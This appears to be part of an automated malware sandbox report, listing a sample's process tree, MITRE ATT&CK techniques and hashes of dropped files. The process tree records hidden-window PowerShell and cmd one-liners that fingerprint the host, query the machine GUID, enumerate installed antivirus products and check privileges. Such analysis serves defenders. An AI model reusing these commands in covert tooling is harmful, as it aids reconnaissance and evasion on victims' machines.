        Suspicious use of WriteProcessMemory
        
        PID:4848
        
        C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
        7⤵
        
        PID:4500
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4212
        
        C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid
        7⤵
        Queries registry keys for unique system GUIDs
        
        PID:1200
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2572
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2972
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3156
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2032
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3980
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1508
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2204
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3688
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3832
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:1200
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:2172
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:948
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4596
        
        C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
        7⤵
        
        PID:2944
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4988
        
        C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid
        7⤵
        Queries registry keys for unique system GUIDs
        
        PID:512

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:5104

C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\cmd.exe
1⤵
- System Location Discovery: System Language Discovery
PID:5068

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:1900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e591cc6.rbs

Path C:\Config.Msi\e591cc6.rbs
Size 9KB
SHA256 b33a8caf72127b27ff69f135943f28b380bcd0baef49d808459acead28f49523
MD5 6bbc59b4cf5af7068eb9585eee2b22e4
SHA1 687a6438f78bb1f741f0fe4f6771021e9c3c556c
SHA512 0be2b5da120baac2c528de48f3564df8638660d1278034a1b75b6e77bf2a1b45a66f2b7f9cdd1241e35b0207fd6ec384c0588dffe528f757985db04468f831b8
SSDEEP 96:knpaY3/NZhumporMFqliVeVNBndUz+6TICsThqRGdUz+6TIC6jzXcsThqRTHrAbh:kPre121/Iu1/SlTcpg
TLSH
T162122646F540C5E2F4D56731C38A2F44BB77D6F4DA04B38B089A48680F137D95F5D296
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4d598f

Path C:\Users\Admin\AppData\Local\Google\Assemblies\1ec9\4d598f
Size 60B
SHA256 f2e32565b768b82674282651086922bfe66fdb01176707bc9abf348e4807b0fc
MD5 475ca1cbe845fa08f40c89bb40aa38ea
SHA1 8dbc24aa60c93737202fde4e2e3aafdd59ca34be
SHA512 6e5706bd9dd8c5f710caac4554412d7aab2ea6b12408e9a4eaffb6ced2a6c230919e93eac867abeeb5f39c6d8467e43d10bc9b6dcd35ead8c26940c075dbae1c
TLSH
T159A0021BD3C3969A594836DF23807964634569B61479359250129356FF511577A04031
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download